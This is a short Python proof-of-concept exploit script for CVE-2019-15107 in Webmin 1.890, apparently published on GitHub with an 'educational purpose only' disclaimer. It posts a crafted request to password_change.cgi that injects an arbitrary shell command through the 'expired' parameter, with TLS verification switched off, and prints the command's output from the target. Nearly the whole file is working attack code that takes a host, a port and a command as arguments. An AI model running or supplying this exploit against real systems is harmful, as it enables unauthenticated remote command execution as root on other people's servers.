#!/usr/bin/env python3
#http://www.webmin.com/exploit.html
#This exploit be used to EDUCATIONAL PURPOSE only
#Github: https://github.com/n0obit4
 
__CVE__ = 'CVE-2019-15107'
__author__  = 'n0obit4'
__date__    = '22/08/2020'
__version__ = 'v1.0'
__Github__ = 'https://github.com/n0obit4'
 
#Librerias
import requests,argparse,os
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
#Banner
def banner():
    print('''
โ•ฆ โ•ฆโ”Œโ”€โ”โ”Œโ” โ”Œโ”ฌโ”โ”ฌโ”Œโ”โ”Œ
โ•‘โ•‘โ•‘โ”œโ”ค โ”œโ”ดโ”โ”‚โ”‚โ”‚โ”‚โ”‚โ”‚โ”‚
โ•šโ•ฉโ•โ””โ”€โ”˜โ””โ”€โ”˜โ”ด โ”ดโ”ดโ”˜โ””โ”˜ 1.890 expired Remote Root
    ''')
    print("\t\t\tBy: n0obit4")
    print("\t\t\tGithub:", __Github__)
    print("-"*40)
 
#Argumentos
parser = argparse.ArgumentParser(description='Webmin 1.890 expired Remote Root POC',
                                epilog=f'python3 {os.path.basename(__file__)} -host target -port 10000 -cmd id')
parser.add_argument("-host", help='Host to attack', required=True, metavar='IP')
parser.add_argument("-port", help='Port of the host ~ 10000 is Default', metavar='Port', default="10000")
parser.add_argument("-cmd", help='Command to execute ~ id is Default', metavar='Command', default='id')
args = parser.parse_args()
 
#Exploit
def exploit(host,port,cmd,url):
    header = {'Referer': 'https://{}:{}/session_login.cgi'.format(host,port)}
    payload = 'user=gotroot&pam=&expired=2|echo "";{}'.format(cmd)
    request = requests.post(url, data=payload, headers=header, verify=False)
    soup = BeautifulSoup(request.content, 'html.parser')
    print(soup.find_all("p")[0].get_text())
 
 
if __name__ == "__main__":
    try:
        url = "https://{}:{}/password_change.cgi".format(args.host,args.port)
        banner()
        exploit(args.host,args.port,args.cmd,url)
    except KeyboardInterrupt:
        print("\nBye...")